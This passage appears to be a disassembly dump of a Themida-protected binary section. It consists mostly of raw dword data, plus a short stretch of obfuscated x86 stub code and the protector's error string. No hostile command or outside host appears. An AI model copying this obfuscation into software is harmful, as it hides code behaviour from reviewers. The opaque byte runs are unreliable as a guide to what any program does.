		dd 0A06147A3h, 942DD46Dh, 13804CF3h, 40439CD8h,	0C80DD35Dh
		dd 0FE1FB5D5h, 0AB992955h, 439CE03Ah, 2711B285h, 5233h
		dd 86B25B00h, 0BDA740E7h, 0C2820AF1h, 5B808C18h, 4EE915EAh
		dd 0C6760CADh, 809A1643h, 6F02920h, 0A2A53EC0h,	966947h
		dd 5CA5FA7Dh, 2BBAFC72h, 5A735DF8h, 9CA9218Eh, 0DD6B4E43h
		dd 0B608BA1Bh, 0E3201Fh, 0C5480000h, 80B24D76h,	6ABA7CE5h
		dd 2CAC7862h, 3BC269FCh, 54D76D08h, 530A046Ah, 45E00D1Ah
		dd 7A64059Eh, 0C750D361h, 46A32F7Bh, 0B0E0E1CBh, 30E06E15h
		dd 0A3B3D142h, 0BA491C49h, 0AD46ED88h, 592C2C3h, 0A9F40D3h
		dd 0EA85B35Ch, 2614AA43h, 49A3B3B5h, 0FD432D00h, 49A3AFD1h
		dd 31C66191h, 25BB5A8Ah, 0AF168775h, 8E6149A3h,	5AE28BA4h
		dd 0F0DECC62h, 3B47A28Fh, 820AD368h, 5644F48Ah,	439C7FE5h
		dd 6B735D30h, 94E0ED7Dh, 0CB613441h, 0C156EF22h, 784EE71Ah
		dd 0F07AD92Dh, 0A41D9ECDh, 5C000002h, 5E059A2Bh, 57FE9332h
		dd 52F98E29h, 4EF58A23h, 5AF58A1Bh, 0C1548742h,	0BD58852Ch
		dd 0B44F8128h, 0AD48781Fh, 0EFDD4B18h, 43998D7Eh, 2CE0B2C9h
		dd 2CD368F9h, 26D469FCh, 1B743BA3h, 7E681AA6h, 8A820AB2h
		dd 18406F4h, 14AF47A3h,	0D78F2DDFh, 0F79E3F4Ah,	0F590C069h
		dd 85CBB54Eh, 439C3818h, 12D46245h, 1FB679C3h, 0B519h
		dd 0FC2C7D00h, 10B14C7Bh, 28AFE269h, 17BE5FFAh,	15B0E089h
		dd 0EEB9E52Bh, 497949A3h, 427219AEh, 0CB53FCA3h, 9F8D3DD3h
		dd 49A3EE2Eh, 0B4BCA679h, 8C2B5B04h, 1C624CE5h,	47A2CF2Eh
		dd 4811A679h, 4432C8C0h, 4195259Fh, 0D776A34Ch,	8A20F3EDh
		dd 7E13AEE1h, 447720D0h, 156CDDB1h, 0E4B73D93h,	2BC6F9FAh
		dd 7B25FA55h, 58D908F0h, 1C7h, 22B74E7Fh, 1BB04F7Bh, 16AB4674h
		dd 10A5406Fh, 69B3669h,	6598536Bh, 639037CCh, 5C8E35CAh
		dd 5D8D34C9h, 0FA6835CAh, 998C9B0Ch, 0FDCFE643h, 0D368F92Ch
		dd 497BFC2Ch, 0CA780DAEh, 0F2BB2C1Ah, 330649A3h, 0FC2C7D49h
		dd 8B34C269h, 0D3D4BE59h, 0A66F04A3h, 3CF15E1Eh, 4314CB55h
		dd 0AC5C0CA2h, 0A3844DBEh, 0E2D09849h, 49A38471h, 5E48E9BCh
		dd 0A289E218h, 0D0E27D47h, 0B2A37854h, 0B7832ACBh, 439C1F4Ah
		dd 448A9477h, 1FB68F91h, 2F4Bh,	7C25AF00h, 7811B849h, 0EBE36B8Eh
		dd 0E37EAC55h, 0E103F1F9h, 8C47A2F6h, 5F009FCBh, 0E67FECB8h
		dd 0C9AC439Ch, 0CC5C797Fh, 387E1FB5h, 0E2000000h, 0A3F279E7h
		dd 2D139B49h, 2EC46500h, 12A5D57Eh, 0A3F2CD3Eh,	5B451849h
		dd 0C8FAA353h, 3ED862Dh, 0A2F5CFBDh, 0B1471A47h, 9A41DC08h
		dd 0FD8F9801h, 2C7202B7h, 0AC93B42h, 44F48A82h,	0F235A694h
		dd 0AD8049A3h, 8837DC3h, 0D9047A3h, 10510D31h, 9E988249h
		dd 0D2B235CBh, 6F0036FDh, 69354E38h, 439C0BFCh,	0F6F84629h
		dd 1FB6A1DFh, 23FDh, 7AE76100h,	9C49A3F2h, 0E7C95414h
		dd 3230B29h, 991CCC62h,	0BC7461D2h, 448A74A3h, 47A21D56h
		dd 0C739CEA1h, 0F48A820Ah, 0F5749571h, 311FC65Ah, 49A334C0h
		dd 0AD97380Bh, 7AC5B7A5h, 3D10479Dh, 48DF0F96h,	49DC0CB3h
		dd 3ED70AB3h, 3B6F3B54h, 8E2AB02Dh, 0D3032DFBh,	0C8F89F34h
		dd 0D0FF862Dh, 0F11C9F35h, 0CD6C71E8h, 0A8132C16h, 0A31402B2h
		dd 0EED4693Ch, 48D6311Bh, 0F629AEDEh, 7E25BA5Bh, 7821B74Eh
		dd 6C05AC45h, 8E86982h,	5E000000h, 0B74A7C25h, 2C1CFECDh
		dd 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h
		dd 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 2AC800C4h
		or	esi, 1C3D7C6Ch
		dec	esi
		not	esi
		add	esi, 6AFD05D0h
		push	ecx
		mov	ecx, 7B452C86h
		or	ecx, 4F3E7D2Ah
		or	ecx, 2CEC5F53h
		sub	ecx, 5209BD7Bh
		xor	esi, ecx
		pop	ecx
		mov	edx, esi
		pop	esi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, edx
		push	edx
		mov	edx, esi
		mov	[ebx+8], edx
		pop	edx
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544543
; ---------------------------------------------------------------------------
		dd 0D4142C8h, 5AC2D53Eh, 3E991C9h, 0B8DED5A2h, 60A6899h
		dd 0E0FFC503h, 13B062F3h, 164E7E4Ch, 59E2FB2h, 7460DED1h
		dd 6C000905h, 5A1331Bh,	2CCB2D87h, 37DBED83h, 12BCF311h
		dd 21475D91h, 4C418DC1h, 1AD0CF13h, 798A0E9Ch, 12E8h, 298EF600h
		dd 3B62F988h, 13A3C627h, 5C8487C6h, 0E9BD10CBh,	6, 0B48D448Fh
		dd 0E85A99FCh, 9, 0E0EB5122h, 0CEFB25ADh, 5FFE8BACh, 673FC281h
		dd 66600000h, 0A1FBD181h, 10E9h, 0DCCB8800h, 441D41B2h
		dd 0B5526A9Bh, 0F054A652h, 686155h, 8B000000h, 810F5ED8h
		dd 3, 0FFF88B66h, 59F81634h, 0C18B6650h, 0F0F1815Bh, 0F00CE5Dh
		dd 384h, 0EDB8000h, 0A4ADC181h,	810F480Dh, 2, 0E981E78Ah
		dd 504195B5h, 0C89FE8Bh, 3810F32h, 66000000h, 14E9C28Bh
		dd 77000000h, 0E6CE558Dh, 648B8A7h, 0B8502F60h,	7D24D3FBh
		dd 837589EEh, 5B5303EEh, 81FD8A4Eh, 0FF9998FEh,	98850FFFh
		dd 0FFFFFFFh, 0B8Dh, 5820F00h, 0B8000000h, 4597F25Fh, 83E9h
		dd 52515300h, 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h
		dd 66D8033Ch, 45503B81h, 57850Fh, 5B8B0000h, 245C0378h
		dd 24738B1Ch, 1C247403h, 207B8B56h, 31C738Bh, 320247Ch
		dd 0FC202474h, 41FFC983h, 1C245C8Bh, 5403178Bh,	0C7832024h
		dd 84028A04h, 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h
		dd 0B70FE1D1h, 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h
		dd 0E9C03300h, 0FFFFFFF1h, 0EE8CA8Bh, 0DE000000h, 3FD8D82Bh
		dd 7F136A22h, 34B1CECh,	10E944h, 2E3B0000h, 639BAB31h
		dd 0DF8DB139h, 1FC23803h, 815E5E38h, 60DCC6h, 0EE900h
		dd 0CD0000h, 0BBE30789h, 12FB4977h, 7C46A794h, 17F768h
		dd 8C0F5000h, 3, 5AD18B66h, 11E959h, 26530000h,	0EEE97245h
		dd 22F619BDh, 341CE73Bh, 8B866272h, 0F781601Eh,	5FB77BA4h
		dd 61CA8B66h, 0C5D2C381h, 0B8666385h, 0F381D867h, 116DACC3h
		dd 0AE8h, 6CD58800h, 825A1560h,	807AF512h, 815870E8h, 0DF69CBEBh
		dd 0C7BF0F49h, 0B70F1E89h, 4EE83D1h, 0CE9h, 0C1FDB700h
		dd 0D7BEBEC7h, 3D4D77EFh, 1E983A4h, 1D850Fh, 0BE90000h
		dd 29000000h, 67BFBE0h,	29EEDD61h, 30E964A8h, 6C000000h
		dd 939A4496h, 0E95AECBDh, 12h, 55EBA4F0h, 884F14DCh, 0EB7AA82Fh
		dd 0B48B8753h, 6CE910A2h, 0FFFFFFFFh, 29B21461h
		db 64h,	0FBh, 0EFh
aLRS		db '▀эr:И',0            ; DATA XREF: Themida_:0053F6D4o
					; Themida_:0053F7B8o
		db 4, 2	dup(0)
		dd 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 1108E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0B338BA3Eh, 0A8B530C7h, 299D3160h
		db 11h,	7, 6
byte_5737F7	db 8Bh			; DATA XREF: Themida_:0053E06Co
		dd 729E585h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 5FA90CF9h, 2CE50A31h, 39F9F9E8h
		dd 0F042444h, 5585h, 0BD83F800h, 6070B79h, 47840F00h, 60000000h
		dd 10ED8D89h, 81660607h, 61107BC6h, 3963858Dh, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0D8AC74C3h, 70FCBDA3h, 0F5ABA57Bh, 810FE0FFh, 6, 0A2DB589h
		dd 858B0607h, 6071085h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0F7C35141h, 0BF25E91Bh, 4799501h, 39F50607h
		dd 0F042444h, 6B85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 7948B13Ah, 2E7DE471h
		dd 8B6087C3h, 70FCD9Dh,	0D8D8906h, 6106071Ah, 700585C7h
		dd 1060Ah, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 96C2F9C3h, 0C50F8F42h, 8B6660F9h
		dd 0E99D09FBh, 61060701h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 8653FC66h
		dd 9E0B003Fh, 0B859D09h, 5E90607h, 0F8000000h, 0
		dd 1B8h, 95858700h, 0B060A71h, 0FFF675C0h, 709CDB5h, 0FD858F06h
		dd 6A060A6Fh, 0FFFF6A20h, 7089195h, 35BD8306h, 6071Ah
		dd 6A0874h, 0D6995FFh, 0BD830607h, 6070A85h, 680D7401h
		dd 80h,	95FFFF6Ah, 6070891h, 0F18B6660h, 57006A61h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0CA6533CCh, 4C7EAA07h, 31B531CFh, 0E9060719h, 0Ch, 0FD7E3D0Fh
		dd 64333D02h, 0E99F6235h, 0B8h,	11E900h, 0CEBA0000h, 0FC7B39BDh
		dd 0E9B2D496h, 0E642772Eh, 8BAA3D23h, 0F9282454h, 33198589h
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 825DC4C3h, 0CD7AD2ABh, 3CBEF833h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F1E7C353h, 79E1E874h, 958960E8h,	6072359h
		dd 4D59D89h, 3610607h, 89242474h, 73249BDh, 0E9AD6606h
		dd 0Fh,	0FE36D3CDh, 1F11A9F6h, 0F18D271h, 0F957F6B4h, 24244403h
		dd 0DF816660h, 0CB81BEBDh, 260489D0h, 0CE99061h, 86000000h
		dd 9C3E22CBh, 0DA7FD12Ch, 5005FD93h, 12E95250h,	39000000h
		dd 0E486368Bh, 9FEE9B08h, 0A7CBA145h, 651C4647h, 0F310F1Dh
		dd 682h, 810F00h, 5A000000h, 850F9058h,	6, 1E758D89h, 408B0607h
		dd 6860F78h, 89000000h,	71A059Dh, 5BD8306h, 60A70h, 134850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0EB0F95C3h, 28CD61D6h, 890F70D6h,	6, 0CA99589h
		dd 8B600607h, 70DED8Dh,	5061F806h, 0F605250h, 86h, 7E900h
		dd 0D2390000h, 2D7F5A10h, 310F6128h, 9E9h, 2B3DAA00h, 5FB06FB1h
		dd 585AB73Eh, 0F240489h, 0B81h,	0C6806000h, 0E98D0175h
		dd 61060729h, 2C24448Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 76C35646h, 14F0AD0Dh,	758E8A73h, 159D8960h
		dd 60060713h, 0AF2BB66h, 4ECAC181h, 6161225Bh, 75F48060h
		dd 0BE605061h, 10FE43B0h, 9E8h,	55890E00h, 0A4EC67A2h
		dd 4CB039F7h, 4896158h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9E98515h, 44000000h, 0C2ED8F90h
		dd 56F36A82h, 3CEB858Dh, 6060060Ah, 8E0Fh, 89610000h, 7127985h
		dd 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0C3C35545h, 4403F9BEh, 6A2824h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD6A9CC3h
		dd 7820Fh, 890F0000h, 1, 8E9F9h, 57B10000h, 23ABB93Ah
		dd 408BD870h, 0DBB6018h, 611ED07Dh, 0D880F40h, 60000000h
		dd 30298D89h, 81660607h, 614A0CD0h, 70018589h, 6A060Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 3C4590C3h, 0F9FC75E6h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0E2B5E292h
		dd 318D892Eh, 8B06072Fh, 6A7870h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 4BDFC5C3h, 1BE75084h
		dd 6017EAB9h, 0BB66C3B0h, 2961EA56h, 718C58Dh, 1CC68306h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h
		dd 0E957B7B1h, 6, 5C9FEF4Fh, 6A96CF14h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4B1C356h
		dd 0E2184FA4h, 1B50133h, 81060729h, 24247Ch, 0F100000h
		dd 15587h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 519501D1h, 0F060704h, 689h, 0F9958900h
		dd 9006071Eh, 0E9605250h, 9, 0AF8C0D6Fh, 78BF10BDh, 6340BED9h
		dd 0F613CF9h, 5A566031h, 0A1221DBEh, 585A6163h,	60525050h
		dd 310F5250h, 14E8585Ah, 0E000000h, 2673F002h, 622A70E5h
		dd 0E39E064Eh, 7F3979C0h, 5B9BD2B2h, 0E9310F61h, 0Fh, 0EB885BE1h
		dd 0F770C889h, 7C69335h, 5A18A5D6h, 6A9058h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 728ADFC3h
		dd 0BD893FE8h, 6071255h, 2824448Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 25C35646h, 3CF3B818h, 10E9B994h
		dd 4A000000h, 4ACBEE4Fh, 0F5DB5D7Fh, 570E5AC9h,	90FF44F1h
		dd 66605250h, 61097AB9h, 840F310Fh, 14h, 0FE9h,	49398B00h
		dd 98E6A9E5h, 17C968F5h, 0E8F2F51Ah, 0E950585Ah, 6, 0C30B13B6h
		dd 0F590A2D2h, 65D18160h, 29364262h, 732DDBDh, 858D6106h
		dd 60A3CEBh, 0C8E0Fh, 7E90000h,	43000000h, 0CC61C74Ah
		dd 0D0FFECEAh, 28A19D89h, 0E9960607h, 0Dh, 0B86936C4h
		dd 52F57A2Ah, 84E733E6h, 2474033Ch, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 5E297CA5h
		dd 607D9205h, 8059589h,	858B0607h, 6071A7Dh, 39958961h
		dd 0E9060713h, 7, 0DC919211h, 8DB69B70h, 72BF9BDh, 11E906h
		dd 0C6160000h, 5534F5ECh, 981BF2Fh, 856B32A4h, 0AD48674Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5C35343h
		dd 68E0Fh, 9D090000h, 60704C1h,	0C1B52960h, 0F060729h
		dd 28Bh, 61C78B00h, 24247C81h, 10000000h, 9D870Fh, 0B5890000h
		dd 60722E1h, 7E990h, 6BEB0000h,	28C0AC3Ch, 0BE95073h, 0A2000000h
		dd 0A3C9ECFAh, 0EDAE7EFCh, 2990D7ABh, 71EF19Dh,	24448B06h
		dd 50006A28h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 187B252Dh, 29CA3A3Eh, 71DB195h, 52505006h
		dd 5E9h, 7C235700h, 310F198Fh, 13E9h, 0BDE4B100h, 2BBEAAC7h
		dd 44C267F8h, 10007E16h, 98CEEF98h, 489585Ah, 6E924h, 0CAD0000h
		dd 0B7A0AD3Dh, 3CEB858Dh, 0BD89060Ah, 60706ADh,	3FCD0FFh
		dd 0F9242444h, 179BD31h, 0F8AB0607h, 0FA81h, 820F0001h
		dd 71Fh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	0D9C35141h, 12698D89h, 0BD8D0607h, 6071031h, 6AADFCh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0B5013DC3h, 6072F31h, 6800Fh, 85290000h, 6070725h, 24247C81h
		dd 10000000h, 116870Fh,	3600000h, 708C98Dh, 161F506h, 7117D9Dh
		dd 50609006h, 33BA6652h, 66310F9Fh, 585ACE8Bh, 61605061h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 36D48AD1h, 608250F9h, 9D0974CBh,	6071A0Dh
		dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0C7C35747h, 0C3B13792h,	90293870h, 0C870Fh, 8A0F0000h
		dd 6, 820Fh, 0F500000h,	0A88h, 60525000h, 60310F61h, 90585A61h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5EC35343h
		dd 43B0C371h
		dd 0AE960B0h, 0B7000000h, 0FFD56DCBh, 53BA7BCFh, 850B5624h
		dd 6072031h, 9D096158h,	6070D3Dh, 3CEB858Dh, 6A060Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 894E75C3h, 732D98Dh,	60D0FF06h, 4CDB503h, 8A0F0607h
		dd 3, 61DA8B66h, 24244403h, 68E0Fh, 9D890000h, 6071A6Dh
		dd 168A0F90h, 0E9000000h, 11h, 9CCD2D42h, 0A0394045h, 0C6DA043h
		dd 0BCD9C67Dh, 13E95065h, 7E000000h, 4A0258h, 6A8BDD6Ch
		dd 8FAF0E62h, 0E71EC012h, 6A90EC89h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DE84C351h
		dd 0C1E44508h, 6758D89h, 6AAB0607h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F203C353h
		dd 85B53360h, 0F06070Ch, 6061C3B7h, 0FC3BF0Fh, 28Dh, 61616000h
		dd 2289BD8Dh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B7A607C3h, 84021AB2h, 8D298E69h
		dd 6071321h, 8E9ADh, 0B1F50000h, 98E9C431h, 7C815D9Eh
		dd 2824h, 870F1000h, 0EEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0CCC35040h, 0A1D62B1Ch, 89874C36h, 70BFD9Dh
		dd 0E9609006h, 7, 4756C630h, 60013A8Fh,	0FE8h, 0C81CBB00h
		dd 7F013F0Dh, 110D128Ah, 0B7547Bh, 810F5Fh, 61000000h
		dd 6E95061h, 8D000000h,	3E7019CFh, 830F90C2h, 6, 7798589h
		dd 448B0607h, 800F2C24h, 8, 0C98D8B60h,	61060706h, 60525050h
		dd 310F5250h, 6160585Ah, 0E9310F61h, 0Bh, 91216D9Fh, 0C497EF1h
		dd 5A3C3199h, 24048958h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 73C35242h, 0EB858DD9h, 0F9060A3Ch, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 15CC3AC3h, 8BF960FCh, 440361C1h, 0B5892824h,	6070EF5h
		dd 50006AABh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 55858928h, 5E060721h, 70018DFFh,	0BD83060Ah
		dd 60A7001h, 330A7500h,	0CCB58DC0h, 0FF060A7Eh,	81AD56E6h
		dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 0A3CEB85h
		dd 3D0FF06h, 97282444h,	858ADF8Bh, 60A6FFDh, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 331985FFh,	5DE90607h, 5EFFFFFFh, 6820Fh, 85010000h
		dd 60712FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	77C35242h, 6C0FC0A9h, 15BD29C2h, 6006070Dh, 12E8h
		dd 9AD01800h, 0BEE86BD7h, 68354A59h, 0B6CCED09h, 0E9C76190h
		dd 13h,	0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 5B6D94D0h
		dd 8B61EDB3h, 7331985h,	0F5B58906h, 0D1060728h,	318D89E0h
		dd 3060733h, 7228985h, 6E906h, 0EACE0000h, 0FE4DBE6h, 6AF62Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0C802F6C3h, 4B7C7F23h, 0FD906A3h, 181h, 0E996F800h
		dd 0Ch,	206C9563h, 0A88CF8EAh, 0EB819151h, 0F5FCAD66h
		dd 6A02E0C1h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 1108C352h, 18D89E8h, 306072Ch
		dd 72BF985h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 189EED73h, 0F259960Bh, 9E9h, 0AE518F00h
		dd 306CC51Eh, 899678E0h, 708858Dh, 81FCAD06h, 24247Ch
		dd 0F100000h, 0D887h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 141FCE6Ch, 0D531980h
		dd 0BA666090h, 0FE8B2BBBh, 0EE95061h, 91000000h, 9B7D2B59h
		dd 0EAFFCACDh, 0D4E6BDBDh, 6A9082h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0B13A9FC3h
		dd 0E4717948h, 8B66607Dh, 14E8C1h, 8F1F0000h, 0C8E72702h
		dd 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 8166EC42h, 59410AC2h
		dd 24448B61h, 0BF0F6028h, 6111B7D0h, 820F6050h,	0
		dd 24048961h, 1ED1BD89h, 858D0607h, 60A3CEBh, 0D0FFFCFCh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 60C35646h
		dd 0F88672D0h, 8929E138h, 71E81B5h, 24440306h, 0F5B58924h
		dd 89060722h, 6A1C2444h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 9B3BC351h, 8D8B6093h
		dd 6070355h, 2979BD8Bh,	0C6610607h, 709CD85h, 85C70006h
		dd 60A7195h, 0
		dd 700585C7h, 60Ah, 0FF90000h, 689h, 4DB53100h,	0F060719h
		dd 683h, 29BD3100h, 6106071Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 6AC35040h, 0B750342Ah, 7072DACh
		dd 518D0181h, 0E9060719h, 0Fh, 0C24DBAB5h, 0FC485EA2h
		dd 737809ADh, 0C2F3992Eh, 6A0008h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 3D2D32C3h, 0F60BB44h
		dd 8B61FBBFh, 72BF985h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CFEA01D0h, 8B3483BCh
		dd 1FA58D29h, 6A4A0607h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3D51C350h, 0F57DE880h
		dd 4D26BF9h, 0DE9h, 0B62B3C00h,	16A50C35h, 65967F3Dh, 0C203E93Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 3FC35747h
		dd 24F852h, 8529F746h, 6070F95h, 0C9858996h, 0AD06071Ah
		dd 9E9h, 0D31BF100h, 0A9208144h, 7C8158EBh, 2424h, 870F1000h
		dd 0B6h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0A3C35747h, 4FA05597h, 0B5899164h, 607057Dh, 9E990h
		dd 0EE7D0000h, 395E7589h, 50905326h, 0F820Fh, 0AE90000h
		dd 7D000000h, 0BCE09465h, 3324F922h, 9D8990BDh,	6072285h
		dd 2824448Bh, 5158D89h,	0E9500607h, 11h, 0E2A09286h, 0B7D1BEBh
		dd 0EE17FD05h, 0C2DCFBA3h, 240489DBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0F2C35343h,	3CEB858Dh, 9D01060Ah
		dd 60711FDh, 160D0FFh, 711D59Dh, 83F38106h, 6156489Bh
		dd 10B58D89h, 0BAE90607h, 60FFFFFDh, 26619D89h,	8D8B0607h
		dd 6071ECDh, 3F858D61h,	6A060A84h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 90E8C356h
		dd 5E95250h, 9E000000h,	632BB765h, 0F60310Fh, 82h, 820F00h
		dd 61000000h, 6050585Ah, 61D68B66h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F60FB45h
		dd 689h, 0A19D8B00h, 8B060705h,	725F18Dh, 0FF646106h, 35h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0EC1D594Bh, 0FE43EBAh, 78Ah, 1880F00h, 0F8000000h
		dd 24048BFCh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	0B7C35545h, 3AB0E4AEh, 31EE15CCh, 12E58589h, 5E90607h
		dd 0CA000000h, 0B81DCD14h, 258964h, 60000000h, 8D0F24B7h
		dd 11h,	0CE9h, 0CCB66000h, 16A4ED51h, 0DEEDB39Eh, 0B5316137h
		dd 6070E65h, 8278858Dh,	9D89060Ah, 6072925h, 16089F8h
		dd 6919D89h, 2CE90607h,	6A000002h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 1FCCC351h
		dd 6800F42h, 9000000h, 714C595h, 0E8DB8B06h, 0
		dd 71ED815Dh, 0BC060A82h, 12FF9Ch, 0A85BD83h, 74000607h
		dd 69858B18h, 0C606070Eh, 858B0000h, 6070455h, 0FF0000C6h
		dd 72BDD95h, 0B5FF6006h, 60A6C09h, 6C0D858Dh, 8D50060Ah
		dd 0A6E0585h, 95FF5006h, 60700A1h, 610CC483h, 50006AFCh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 5C1B1CDCh, 6CA522B0h, 0BD89D410h, 6070C7Dh, 6E05B58Dh
		dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 522FF2C3h, 85E87888h, 0BD8DDF6Dh,	60723ADh
		dd 0AF98D29h, 3E800607h, 52840F00h, 0F000000h, 682h, 15850100h
		dd 0A406070Eh, 13E9h, 71CAB700h, 95D56397h, 408D980Eh
		dd 0A2B796B1h, 0B711681h, 0FFFFCDE9h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0E35F8B90h, 1124CD3h, 719C5BDh, 29C02B06h, 7296D85h
